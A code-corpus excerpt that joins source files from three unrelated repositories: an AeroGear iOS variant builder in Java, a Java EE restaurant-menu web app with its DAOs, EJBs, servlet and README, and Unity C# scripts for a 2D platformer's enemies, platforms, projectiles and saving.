import org.jboss.aerogear.unifiedpush.api.iOSVariant;
/**
* Builder for iOS variant.
*/
public class IOSVariantBuilder extends VariantBuilder<IOSVariantBuilder, iOSVariant> {
private String passphrase;
private boolean production = false;
private byte[] certificate;
IOSVariantBuilder() {
}
public IOSVariantBuilder withPassphrase(final String passphrase) {
this.passphrase = passphrase;
return this;
}
public IOSVariantBuilder withCertificate(final byte[] certificate) {
this.certificate = certificate;
return this;
}
public IOSVariantBuilder withProduction(final boolean production) {
this.production = production;
return this;
}
@Override
protected iOSVariant createInstance() {
return new iOSVariant();
}
@Override
protected void populateFields(iOSVariant instance) {
instance.setPassphrase(this.passphrase);
instance.setProduction(this.production);
instance.setCertificate(this.certificate);
}
@Override
protected IOSVariantBuilder getThis() {
return this;
}
}
| 9913a57a9c5ea365c3a156dad15c46716e037ede | [
"Markdown",
"Java",
"Maven POM"
] | 8 | Maven POM | aerogear/ups-mock-data-loader | 0dc2656a10232a7cc2079e48447e0468a9d92a0a | cfd972b84118cd940b0cc3f25f1e56e2e0b7739d |
refs/heads/master | <file_sep>package bean;
import java.sql.SQLException;
import java.util.List;
import javax.ejb.Local;
import javax.ejb.Stateful;
import dao.ClientJPA_DAO;
import entity.Client;
@Stateful
@Local
public class ClientBean {
private ClientJPA_DAO clientJPA_DAO = ClientJPA_DAO.getInstance();
public void create(Client client) throws SQLException{
clientJPA_DAO.persist(client);
}
public void delete(Client client) throws SQLException{
clientJPA_DAO.remove(client);
}
public void deleteById(int id) throws SQLException{
clientJPA_DAO.removeById(id);
}
public Client signIn(String email, String password) throws SQLException{
return clientJPA_DAO.signIn(email, password);
}
public List<Client> read() throws SQLException{
return clientJPA_DAO.findAll();
}
public Client readById(final int id) throws SQLException{
return clientJPA_DAO.getById(id);
}
public Client update(Client client) throws SQLException{
return clientJPA_DAO.merge(client);
}
}
<file_sep>package dao;
import java.sql.SQLException;
import java.util.List;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import javax.persistence.PersistenceContext;
import entity.Menu;
import entity.Product;
public class ProductJPA_DAO {
private static ProductJPA_DAO instance;
@PersistenceContext
protected EntityManager entityManager;
public static ProductJPA_DAO getInstance(){
if (instance == null){
instance = new ProductJPA_DAO();
}
return instance;
}
private ProductJPA_DAO() {
entityManager = getEntityManager();
}
private EntityManager getEntityManager() {
EntityManagerFactory factory = Persistence.createEntityManagerFactory("food-menu");
if (entityManager == null) {
entityManager = factory.createEntityManager();
}
return entityManager;
}
public Product getById(final int id) throws SQLException{
return entityManager.find(Product.class, id);
}
@SuppressWarnings("unchecked")
public List<Product> findAllProducts(Menu menu) throws SQLException{
return entityManager.createQuery("FROM " + Product.class.getName() +
" P JOIN FETCH P.menu M WHERE M.id = :menu ORDER BY P.name ASC").setParameter("menu", menu.getId()).getResultList();
}
public void persist(Product product) throws SQLException{
try {
entityManager.getTransaction().begin();
entityManager.persist(product);
entityManager.getTransaction().commit();
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
}
public Product merge(Product product) throws SQLException{
try {
entityManager.getTransaction().begin();
product = entityManager.merge(product);
entityManager.getTransaction().commit();
entityManager.flush();
entityManager.refresh(product);
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
return product;
}
public void remove(Product product) throws SQLException{
try {
entityManager.getTransaction().begin();
entityManager.find(Product.class, product.getId());
entityManager.remove(product);
entityManager.getTransaction().commit();
entityManager.flush();
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
}
public void removeById(final int id) throws SQLException{
try {
Product product = getById(id);
remove(product);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
<file_sep>package dao;
import java.sql.SQLException;
import java.util.List;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import javax.persistence.PersistenceContext;
import entity.Category;
public class CategoryProductJPA_DAO {
private static CategoryProductJPA_DAO instance;
@PersistenceContext
protected EntityManager entityManager;
public static CategoryProductJPA_DAO getInstance(){
if (instance == null){
instance = new CategoryProductJPA_DAO();
}
return instance;
}
private CategoryProductJPA_DAO() {
entityManager = getEntityManager();
}
private EntityManager getEntityManager() {
EntityManagerFactory factory = Persistence.createEntityManagerFactory("food-menu");
if (entityManager == null) {
entityManager = factory.createEntityManager();
}
return entityManager;
}
public Category getById(final int id) throws SQLException{
return entityManager.find(Category.class, id);
}
@SuppressWarnings("unchecked")
public List<Category> findAll() throws SQLException{
return entityManager.createQuery("FROM " +
Category.class.getName() + " ORDER BY NAME ASC").getResultList();
}
public void persist(Category categoryProduct) throws SQLException{
try {
entityManager.getTransaction().begin();
entityManager.persist(categoryProduct);
entityManager.getTransaction().commit();
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
}
public Category merge(Category categoryProduct) throws SQLException{
try {
entityManager.getTransaction().begin();
categoryProduct = entityManager.merge(categoryProduct);
entityManager.getTransaction().commit();
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
return categoryProduct;
}
public void remove(Category categoryProduct) throws SQLException{
try {
entityManager.getTransaction().begin();
categoryProduct = entityManager.find(Category.class, categoryProduct.getId());
entityManager.remove(categoryProduct);
entityManager.getTransaction().commit();
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
}
public void removeById(final int id) throws SQLException{
try {
Category categoryProduct = getById(id);
remove(categoryProduct);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
<file_sep>package dao;
import java.sql.SQLException;
import java.util.List;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import javax.persistence.PersistenceContext;
import entity.Client;
public class ClientJPA_DAO {
private static ClientJPA_DAO instance;
@PersistenceContext
protected EntityManager entityManager;
public static ClientJPA_DAO getInstance(){
if (instance == null){
instance = new ClientJPA_DAO();
}
return instance;
}
private ClientJPA_DAO() {
entityManager = getEntityManager();
}
private EntityManager getEntityManager() {
EntityManagerFactory factory = Persistence.createEntityManagerFactory("food-menu");
if (entityManager == null) {
entityManager = factory.createEntityManager();
}
return entityManager;
}
public Client signIn(String email, String password) throws SQLException{
return (Client) entityManager.createQuery("FROM " +
Client.class.getName() +
" WHERE EMAIL = :email AND PASSWORD = :password").setParameter("email", email).setParameter("password", <PASSWORD>)
.getSingleResult();
}
public Client getById(final int id) throws SQLException{
return entityManager.find(Client.class, id);
}
@SuppressWarnings("unchecked")
public List<Client> findAll() throws SQLException{
return entityManager.createQuery("FROM " +
Client.class.getName()).getResultList();
}
public void persist(Client user) throws SQLException{
try {
entityManager.getTransaction().begin();
entityManager.persist(user);
entityManager.getTransaction().commit();
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
}
public Client merge(Client user) throws SQLException{
try {
entityManager.getTransaction().begin();
user = entityManager.merge(user);
entityManager.getTransaction().commit();
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
return user;
}
public void remove(Client user) throws SQLException{
try {
entityManager.getTransaction().begin();
user = entityManager.find(Client.class, user.getId());
entityManager.remove(user);
entityManager.getTransaction().commit();
} catch (Exception ex) {
ex.printStackTrace();
entityManager.getTransaction().rollback();
}
}
public void removeById(final int id) throws SQLException{
try {
Client user = getById(id);
remove(user);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
<file_sep>package bean;
import java.sql.SQLException;
import java.util.List;
import javax.ejb.Local;
import javax.ejb.Stateful;
import dao.MenuJPA_DAO;
import entity.Menu;
@Stateful
@Local
public class MenuBean {
private MenuJPA_DAO menuJPA_DAO = MenuJPA_DAO.getInstance();
public void create(Menu menu) throws SQLException{
menuJPA_DAO.persist(menu);
}
public void delete(Menu menu) throws SQLException{
menuJPA_DAO.remove(menu);
}
public void deleteById(int id) throws SQLException{
menuJPA_DAO.removeById(id);
}
public List<Menu> read() throws SQLException{
return menuJPA_DAO.findAll();
}
public Menu readById(int id) throws SQLException{
return menuJPA_DAO.getById(id);
}
public Menu update(Menu menu) throws SQLException{
return menuJPA_DAO.merge(menu);
}
public Menu findByRestaurant(int id) {
return menuJPA_DAO.findByRestaurant(id);
}
}
<file_sep><?php
include_once("./pages/index.jsp");
?><file_sep>package webModule.servlet;
import java.io.IOException;
import java.sql.SQLException;
import java.util.List;
import javax.ejb.EJB;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import bean.CategoryProductBean;
import bean.ClientBean;
import bean.MenuBean;
import bean.ProductBean;
import bean.RestaurantBean;
import entity.Category;
import entity.Client;
import entity.Menu;
import entity.Product;
import entity.Restaurant;
/**
* Servlet implementation class RestaurantServlet
*/
@WebServlet(name = "RestaurantServlet", urlPatterns = "/RestaurantServlet")
public class RestaurantServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
@EJB
RestaurantBean restaurantEJB;
@EJB
ClientBean clientEJB;
@EJB
MenuBean menuEJB;
@EJB
ProductBean productEJB;
@EJB
CategoryProductBean categoryProductEJB;
/**
* @see HttpServlet#HttpServlet()
*/
public RestaurantServlet() {
super();
}
@Override
protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
super.service(request, response);
if(request.getParameter("_method") != null) {
doPost(request, response);
}
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
HttpSession httpSession = request.getSession();
String pageURL = request.getParameter("pageURL");
if (pageURL != null) {
if (pageURL.equals("index.jsp")) {//OPEN SITE
String flagStartWebSite = "flagStartWebSite";
List<Restaurant> restaurants = restaurantEJB.read();
httpSession.setAttribute("restaurants", restaurants);
httpSession.setAttribute("flagStartWebSite", flagStartWebSite);
response.sendRedirect("./pages/" + pageURL);
} else {//PAGE FOOD_MENU OR RESTAURANT_EDIT
Restaurant restaurant = restaurantEJB.readById(Integer.parseInt(request.getParameter("restaurantID")));
if (restaurant != null) {
Menu menu = menuEJB.findByRestaurant(restaurant.getId());
List<Product> products = productEJB.readAllProducts(menu);
menu.setProducts(products);
httpSession.setAttribute("menu", menu);
httpSession.setAttribute("restaurant", restaurant);
httpSession.setAttribute("category", restaurant.getCategory());
response.sendRedirect("./pages/" + pageURL);
}
}
}
} catch (SQLException e) {
throw new ServletException(e);
}
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (request.getParameter("_method") != null) {//PUT METHOD
doPut(request, response);
} else {
try {
Restaurant restaurant = new Restaurant();
restaurant.setCnpj(request.getParameter("cnpj"));
restaurant.setName(request.getParameter("name"));
restaurant.setDescription(request.getParameter("description"));
restaurant.setState(request.getParameter("state"));
restaurant.setCity(request.getParameter("city"));
restaurant.setCep(request.getParameter("cep"));
restaurant.setDistrict(request.getParameter("district"));
restaurant.setAddress(request.getParameter("address"));
restaurant.setNumber(request.getParameter("number"));
restaurant.setAddition(request.getParameter("addition"));
restaurant.setPhone(request.getParameter("phone"));
boolean delivery;
if (request.getParameter("delivery") != null && (request.getParameter("delivery").equalsIgnoreCase("offYes") || request.getParameter("delivery").equalsIgnoreCase("onNo"))) {
delivery = false;
} else {
delivery = true;
}
restaurant.setDelivery(delivery);
boolean sunday = true, monday = true, tuesday = true, wednesday = true, thursday = true, friday = true, saturday = true;
if (request.getParameter("sunday") == null || request.getParameter("sunday").equals("off")) {
sunday = false;
} if (request.getParameter("monday") == null || request.getParameter("monday").equals("off")) {
monday = false;
} if (request.getParameter("tuesday") == null || request.getParameter("tuesday").equals("off")) {
tuesday = false;
} if (request.getParameter("thurday") == null || request.getParameter("thurday").equals("off")) {
thursday = false;
} if (request.getParameter("wednesday") == null || request.getParameter("wednesday").equals("off")) {
wednesday = false;
} if (request.getParameter("friday") == null || request.getParameter("friday").equals("off")) {
friday = false;
} if (request.getParameter("saturday") == null || request.getParameter("saturday").equals("off")) {
saturday = false;
}
restaurant.setSunday_open(sunday);
restaurant.setMonday_open(monday);
restaurant.setTuesday_open(tuesday);
restaurant.setThursday_open(thursday);
restaurant.setWednesday_open(wednesday);
restaurant.setFriday_open(friday);
restaurant.setSaturday_open(saturday);
restaurant.setTime_open(request.getParameter("time_open"));
restaurant.setTime_close(request.getParameter("time_close"));
HttpSession httpSession = request.getSession();
Client client = (Client) httpSession.getAttribute("client");
restaurant.setClient(client);
Menu menu = new Menu();
menu.setRestaurant(restaurant);
menuEJB.create(menu);
httpSession.setAttribute("email", client.getEmail());
httpSession.setAttribute("password", <PASSWORD>());
response.sendRedirect("./pages/main.jsp");
} catch (SQLException e) {
throw new ServletException(e);
}
}
}
/**
* @see HttpServlet#doPut(HttpServletRequest, HttpServletResponse)
*/
protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
Restaurant restaurant;
restaurant = restaurantEJB.readById(Integer.parseInt(request.getParameter("restaurantID")));
restaurant.setCnpj(request.getParameter("cnpj"));
restaurant.setName(request.getParameter("name"));
restaurant.setDescription(request.getParameter("description"));
restaurant.setState(request.getParameter("state"));
restaurant.setCity(request.getParameter("city"));
restaurant.setCep(request.getParameter("cep"));
restaurant.setDistrict(request.getParameter("district"));
restaurant.setAddress(request.getParameter("address"));
restaurant.setNumber(request.getParameter("number"));
restaurant.setAddition(request.getParameter("addition"));
restaurant.setPhone(request.getParameter("phone"));
boolean delivery;
if (request.getParameter("delivery") != null && (request.getParameter("delivery").equalsIgnoreCase("offYes") || request.getParameter("delivery").equalsIgnoreCase("onNo"))) {
delivery = false;
} else {
delivery = true;
}
restaurant.setDelivery(delivery);
boolean sunday = true, monday = true, tuesday = true, wednesday = true, thursday = true, friday = true, saturday = true;
if (request.getParameter("sunday") == null || request.getParameter("sunday").equals("off")) {
sunday = false;
} if (request.getParameter("monday") == null || request.getParameter("monday").equals("off")) {
monday = false;
} if (request.getParameter("tuesday") == null || request.getParameter("tuesday").equals("off")) {
tuesday = false;
} if (request.getParameter("thursday") == null || request.getParameter("thursday").equals("off")) {
thursday = false;
} if (request.getParameter("wednesday") == null || request.getParameter("wednesday").equals("off")) {
wednesday = false;
} if (request.getParameter("friday") == null || request.getParameter("friday").equals("off")) {
friday = false;
} if (request.getParameter("saturday") == null || request.getParameter("saturday").equals("off")) {
saturday = false;
}
restaurant.setSunday_open(sunday);
restaurant.setMonday_open(monday);
restaurant.setTuesday_open(tuesday);
restaurant.setThursday_open(thursday);
restaurant.setWednesday_open(wednesday);
restaurant.setFriday_open(friday);
restaurant.setSaturday_open(saturday);
restaurant.setTime_open(request.getParameter("time_open"));
restaurant.setTime_close(request.getParameter("time_close"));
HttpSession httpSession = request.getSession();
Menu menu = (Menu) httpSession.getAttribute("menu");
int clientID = Integer.parseInt(request.getParameter("clientID"));
Client client = clientEJB.readById(clientID);
Category category = categoryProductEJB.readById(Integer.parseInt(request.getParameter("category")));
restaurant.setCategory(category);
menu.setRestaurant(restaurant);
restaurant.setClient(client);
restaurant = restaurantEJB.update(restaurant);
menu = menuEJB.update(menu);
httpSession.setAttribute("pageURL", "main.jsp");
httpSession.setAttribute("clientID", clientID);
httpSession.setAttribute("restaurant", restaurant);
httpSession.setAttribute("menu", menu);
} catch (SQLException e) {
throw new ServletException(e);
}
}
}
<file_sep># :spaghetti: Food Menu
## :pizza: Description
The application targets establishments such as restaurants, pizzerias, bakeries, pastries, ice cream shops, among others. Giving them a way to share their menus and information regarding their respective establishments, in the form of website for their customers.

## :bento: Product Overview
The system will act in the organization of the information related to the establishments, as location, time, working days, contact, delivery service and the products that will form the menu of the establishment.
The owners of the establishments can start their registration in the system stating data such as: name, cpf, e-mail and password (for future login in the system), then it must inform the data of the establishment, as: name, cnpj, description, among other information.
After finalizing their registrations in the system, the owners of establishments can start the creation of their menus, creating the categories of products that their establishments offer and associating them with their respective products.
With the information of the establishments now fully filled in, customers will be able to access the website and search for the establishment to access the information and the menu of the same.
## :pushpin: Table of Contents
<!--ts-->
* [Description](#pizza-description)
* [Product Overview](#bento-product-overview)
* [Features](#key-features)
* [Pre-Requisites](#scroll-pre-requisites)
* [Running the server](#-running-the-server)
* [Technologies](#computer-technologies)
<!--te-->
## :key: Features
- [x] Sign In
- [x] Authentication
- [x] Authorization
- [x] Create Client
- [x] Update Client
- [x] Read Client
- [x] Create Product
- [x] Update Product
- [x] Delete Product
- [x] List Products By Restaurant
- [x] Create Category Product
- [x] List Categories Product
- [x] Create Restaurant
- [x] Update Restaurant
- [x] Read Restaurant
- [x] List Restaurants
⚠️ Food Menu 🚧 Concluído 🏁
## :scroll: Pre-Requisites
Before you begin, you will need to have the following tools installed on your machine:
[Git](https://git-scm.com), [Java](https://www.oracle.com/java/technologies/javase-downloads.html).
In addition, it is good to have an editor to work with the code like [Eclipse](https://www.eclipse.org/downloads/packages/release/2020-06/r/eclipse-ide-enterprise-java-developers)
## 🎲 Running the server
```bash
# Clone this repository
$ git clone https://github.com/joaohiago01/food-menu.git
# Add your project to Eclipse
# Create a new server in Eclipse and choose the folder [WildFly](https://github.com/joaohiago01/food-menu/tree/master/wildfly-19.0.0.Final) that is in the project as the server folder
# Run the server
```
## :computer: Technologies
The following tools were used in the construction of the project:
- [JavaEE](https://www.oracle.com/java/technologies/java-ee-glance.html)
- [Bootstrap](https://getbootstrap.com/)
- [Hibernate](https://hibernate.org/)
## :closed_book: License
This project is under the MIT license. See the [LICENSE](https://github.com/joaohiago01/food-menu/blob/master/LICENSE) for more information.
## :rocket: Author
Make with dedication and ❤️ by [<NAME>](https://github.com/joaohiago01) 👋🏽 [Get it touch!](https://www.linkedin.com/in/joaohiago/)
| 8923fb84e88a04273eab8aa87e4e5b3d6a46e72e | [
"Markdown",
"Java",
"PHP"
] | 8 | Java | joaohiago01/Food-Menu | b4f17dfb347ac19521fdbd3f7aa92380ede7c8b7 | dab2776904f64ce8b9fee2b74be393e7a410893a |
refs/heads/master | <file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class RockSpawner : PlayerEnterExit
{
[SerializeField] GameObject RockPrefab;
[SerializeField] float rockSpawnInterval = 4f;
IEnumerator rockSpawn;
private void Start()
{
rockSpawn = null;
}
protected override void OnPlayerEnter()
{
if (rockSpawn == null)
{
rockSpawn = SpawnRocks();
StartCoroutine(rockSpawn);
}
}
protected override void OnPlayerExit()
{
StopCoroutine(rockSpawn);
rockSpawn = null;
}
private IEnumerator SpawnRocks()
{
while (true)
{
Instantiate(RockPrefab, transform.position, transform.rotation);
yield return new WaitForSeconds(rockSpawnInterval);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class ResourceController : MonoBehaviour
{
Slider healthSlider;
Slider chargeSlider;
private void Awake()
{
if (healthSlider == null)
{
healthSlider = transform.Find("HealthSlider").GetComponent<Slider>();
}
if (chargeSlider == null)
{
chargeSlider = transform.Find("ChargeSlider").GetComponent<Slider>();
}
}
public void SetHealth(float val)
{
if (healthSlider == null)
{
healthSlider = transform.Find("HealthSlider").GetComponent<Slider>();
}
healthSlider.value = val;
}
public void SetCharge(float val)
{
if (chargeSlider == null)
{
chargeSlider = transform.Find("ChargeSlider").GetComponent<Slider>();
}
chargeSlider.value = val;
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlatformMovement : MonoBehaviour
{
enum ReversePositions
{
X,
Y,
Both
};
[SerializeField] Vector2 movementVec = new Vector2(3, 0);
[SerializeField] ReversePositions direction = ReversePositions.X;
private Collider2D coll;
Rigidbody2D rBody;
Transform otherBody;
// Start is called before the first frame update
void Start()
{
coll = GetComponent<Collider2D>();
rBody = GetComponent<Rigidbody2D>();
}
private void FixedUpdate()
{
transform.position += (new Vector3(movementVec.x, movementVec.y, 0)) * Time.deltaTime;
if (otherBody != null && !coll.IsTouchingLayers(LayerMask.GetMask("Player")))
{
if (otherBody.GetComponent<PlayerController>().GetIsFalling() || otherBody.GetComponent<PlayerController>().GetIsJumping())
{
otherBody.parent = null;
otherBody = null;
}
}
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.tag == "platformReversePoint")
{
ReverseMovement();
}
}
private void OnCollisionEnter2D(Collision2D collision)
{
if (collision.gameObject.tag == "Player")
{
otherBody = collision.transform;
if (otherBody)
{
otherBody.parent = this.transform;
}
}
}
private void OnCollisionExit2D(Collision2D collision)
{
if (collision.transform == otherBody
&& (otherBody.GetComponent<PlayerController>().GetIsFalling() || otherBody.GetComponent<PlayerController>().GetIsJumping()))
{
var otherMovementVector = collision.gameObject.GetComponent<Rigidbody2D>().velocity + new Vector2(movementVec.x, movementVec.y);
collision.gameObject.GetComponent<Rigidbody2D>().velocity = otherMovementVector;
otherBody.parent = null;
otherBody = null;
}
}
private void ReverseMovement()
{
switch (direction)
{
case ReversePositions.X:
movementVec.x = -movementVec.x;
break;
case ReversePositions.Y:
movementVec.y = -movementVec.y;
break;
case ReversePositions.Both:
movementVec = -movementVec;
break;
}
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class GhostCombat : MonoBehaviour
{
[SerializeField] protected float attackRange = 5f;
[SerializeField] protected float moveToPlayerSpeed = 3f;
[SerializeField] protected Transform BreathTransform;
[SerializeField] protected GameObject breathPrefab;
[SerializeField] protected Quaternion breathRotation;
[SerializeField] protected float breathRadius = 1.4f;
[SerializeField] protected float timeBetweenAttacks = 2f;
[SerializeField] protected float breathDamage = 2f;
protected Vector2 directionVector;
protected Health health;
protected Transform player;
protected Animator _animator;
protected EnemyMovement movement;
public bool isAttacking { get; set; }
protected float breathOffsetX;
protected SpriteRenderer _renderer;
protected bool breathStarted;
protected bool movementStop;
private void Awake()
{
_renderer = transform.GetChild(0).GetComponent<SpriteRenderer>();
}
// Start is called before the first frame update
void Start()
{
health = GetComponent<EnemyHealth>();
_animator = GetComponent<Animator>();
movement = GetComponent<EnemyMovement>();
breathOffsetX = Mathf.Abs(BreathTransform.position.x - transform.position.x);
}
void Update()
{
FindPlayer();
if(player != null) InitiateAttack();
}
protected void InitiateAttack()
{
if (!health.IsDead())
{
if (!isAttacking)
{
isAttacking = true;
movement.SetHomingIn(true);
CheckDirection();
StartCoroutine(ChasePlayer());
}
}
}
private void FindPlayer()
{
Collider2D[] enemiesFound = Physics2D.OverlapCircleAll(transform.position, attackRange, LayerMask.GetMask("Player"));
foreach (Collider2D enemy in enemiesFound)
{
if (enemy.transform.tag == "Player")
{
player = enemy.transform;
}
}
}
private IEnumerator AttackPlayer(Collider2D[] enemies)
{
//stop movement
//StartCoroutine(movement.Damaged());
OnAttack();
movementStop = true;
yield return null;
//DealDamage(enemies);
}
private void DealDamage(Collider2D[] enemies)
{
foreach (Collider2D enemy in enemies)
{
if (enemy.GetComponent<PlayerHealth>())
enemy.GetComponent<PlayerHealth>().DamageHealth(breathDamage);
}
}
protected virtual void OnAttack()
{
var breath = Instantiate(breathPrefab, BreathTransform.position, breathRotation);
breath.GetComponent<Breath>().SetDamage(breathDamage);
breath.GetComponent<Animator>().SetTrigger("Blue");
}
private IEnumerator ChasePlayer()
{
Collider2D[] enemiesHit;
movementStop = false;
breathStarted = false;
do
{
directionVector = player.position - BreathTransform.position;
directionVector = directionVector.normalized;
movement.SetMovementVector(directionVector * moveToPlayerSpeed);
enemiesHit = Physics2D.OverlapCircleAll(BreathTransform.position, breathRadius, LayerMask.GetMask("Player"));
CheckDirection();
if (!breathStarted && enemiesHit.Length != 0)
{
breathStarted = true;
StartCoroutine(AttackPlayer(enemiesHit));
}
yield return new WaitForSeconds(Time.deltaTime);
} while (!movementStop);
yield return new WaitForSeconds(timeBetweenAttacks);
movement.SetHomingIn(false);
OnAttackCompleted();
}
protected virtual void OnAttackCompleted()
{
isAttacking = false;
}
private void CheckDirection()
{
if ((player.transform.position.x > transform.position.x) && !_renderer.flipX)
{
_renderer.flipX = true;
var vec = BreathTransform.position;
vec.x = transform.position.x + breathOffsetX;
BreathTransform.position = vec;
breathRotation = Quaternion.Euler(0, 180, 0);
}
else if ((player.transform.position.x < transform.position.x) && _renderer.flipX)
{
_renderer.flipX = false;
var vec = BreathTransform.position;
vec.x = transform.position.x - breathOffsetX;
BreathTransform.position = vec;
breathRotation = Quaternion.Euler(0, 0, 0);
}
}
private void OnDrawGizmosSelected()
{
Gizmos.DrawWireSphere(transform.position, attackRange);
Gizmos.DrawWireSphere(BreathTransform.position, breathRadius);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[System.Serializable]
public class SerializableVector
{
float x, y, z;
public SerializableVector(Vector3 vec)
{
this.x = vec.x;
this.y = vec.y;
this.z = vec.z;
}
public Vector3 GetVector()
{
return new Vector3(x, y, z);
}
}
<file_sep># Platformer_Project
Portfolio project to test out some knowledge about Unity
---
Adventures of a Monk who finds himself in a lair of evil(?) description needs some work
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Fireball : MonoBehaviour
{
[SerializeField] float explosionRadius = 3f;
[SerializeField] float damage = 3f;
[SerializeField] string[] layerMask;
[SerializeField] AudioClip instantiationClip;
[SerializeField] AudioClip explosionClip;
public float rotationSpeed { get; set; }
public bool isBossFireball { set; get; }
private void Update()
{
if (isBossFireball)
{
transform.RotateAround(transform.parent.position, Vector3.forward, rotationSpeed * Time.deltaTime);
}
}
private void Start()
{
if (instantiationClip != null)
{
AudioSource.PlayClipAtPoint(instantiationClip, transform.position);
}
if (GetComponent<Rigidbody2D>().velocity.x < 0)
{
GetComponent<SpriteRenderer>().flipX = true;
}
}
private void OnCollisionEnter2D(Collision2D collision)
{
Hit(collision.gameObject);
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.tag == "BossReflectorHorizontal" || collision.tag == "BossReflectorVertical")
{
Explode();
}
if (GetComponent<Collider2D>().IsTouchingLayers(LayerMask.GetMask(layerMask)))
{
Hit(collision.gameObject);
}
}
private void Hit(GameObject collision)
{
GetComponent<ParticleSystem>().Stop();
Explode();
CollideWithHittable(collision);
}
public void SetDamage(float dmgSet)
{
damage = dmgSet;
}
private void CollideWithHittable(GameObject collision)
{
Collider2D[] enemiesHit = Physics2D.OverlapCircleAll(transform.position, explosionRadius, LayerMask.GetMask(layerMask));
//Should be only one player
if (enemiesHit.Length > 0)
{
foreach (Collider2D enemy in enemiesHit)
{
var enemyHealth = enemy.GetComponent<Health>();
if(enemyHealth != null)
{
bool knockedRight = IsEnemyRight(enemy.transform);
enemy.GetComponent<Health>().KnockBackHit(damage, knockedRight);
}
}
}
}
private bool IsEnemyRight(Transform enemy)
{
bool knockedRight;
if (enemy.position.x > transform.position.x)
{
knockedRight = true;
}
else
{
knockedRight = false;
}
return knockedRight;
}
public void ReverseDirection()
{
GetComponent<Rigidbody2D>().velocity = -GetComponent<Rigidbody2D>().velocity;
}
public void Explode()
{
if (explosionClip != null)
{
AudioSource.PlayClipAtPoint(explosionClip, transform.position);
}
GetComponent<Animator>().SetTrigger("explode");
GetComponent<Rigidbody2D>().velocity = new Vector2(0, 0);
}
public void SetMoveVector(Vector2 vec)
{
GetComponent<Rigidbody2D>().velocity = vec;
}
public void Die()
{
Destroy(gameObject);
}
private void OnDrawGizmosSelected()
{
Gizmos.DrawWireSphere(transform.position, explosionRadius);
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEditor;
using UnityEngine;
[ExecuteInEditMode]
public class SaveableEntity : MonoBehaviour
{
[SerializeField] string uniqueId = "";
static Dictionary<string, SaveableEntity> globalLookup = new Dictionary<string, SaveableEntity>();
public string GetUniqueIdentifier()
{
return uniqueId;
}
public object CaptureState()
{
Dictionary<string, object> state = new Dictionary<string, object>();
foreach (ISaveable saveable in GetComponents<ISaveable>())
{
state[saveable.GetType().ToString()] = saveable.CaptureState();
}
return state;
//return new SerializableVector(transform.position);
}
public void RestoreState(object state)
{
Dictionary<string, object> stateDict = (Dictionary<string, object>)state;
foreach (ISaveable saveable in GetComponents<ISaveable>())
{
string typeString = saveable.GetType().ToString();
if (stateDict.ContainsKey(typeString))
{
saveable.RestoreState(stateDict[typeString]);
}
}
//SerializableVector vec = (SerializableVector)state;
//transform.position = vec.GetVector();
}
#if UNITY_EDITOR
private void Update()
{
if (Application.IsPlaying(gameObject)) { return; }
if (string.IsNullOrEmpty(gameObject.scene.path)) return;
SerializedObject serObj = new SerializedObject(this);
SerializedProperty serProp = serObj.FindProperty("uniqueId");
if (string.IsNullOrEmpty(serProp.stringValue) || !IsUnique(serProp.stringValue))
{
serProp.stringValue = System.Guid.NewGuid().ToString();
serObj.ApplyModifiedProperties();
}
globalLookup[serProp.stringValue] = this;
}
private bool IsUnique(string stringValue)
{
if (!globalLookup.ContainsKey(stringValue)) return true;
if (globalLookup[stringValue] == this) return true;
if (globalLookup[stringValue] == null)
{
globalLookup.Remove(stringValue);
return true;
}
if (globalLookup[stringValue].GetUniqueIdentifier() != stringValue)
{
globalLookup.Remove(stringValue);
return true;
}
return false;
}
#endif
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerEnterExit : MonoBehaviour
{
Collider2D coll;
[SerializeField] float playerWaitInterval = 1f;
bool isPlayerEntered = false;
IEnumerator checkingCoroutine;
private void Awake()
{
coll = GetComponent<BoxCollider2D>();
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.gameObject.tag == "Player" && !isPlayerEntered)
{
isPlayerEntered = true;
if (checkingCoroutine != null) { StopCoroutine(checkingCoroutine); }
OnPlayerEnter();
}
}
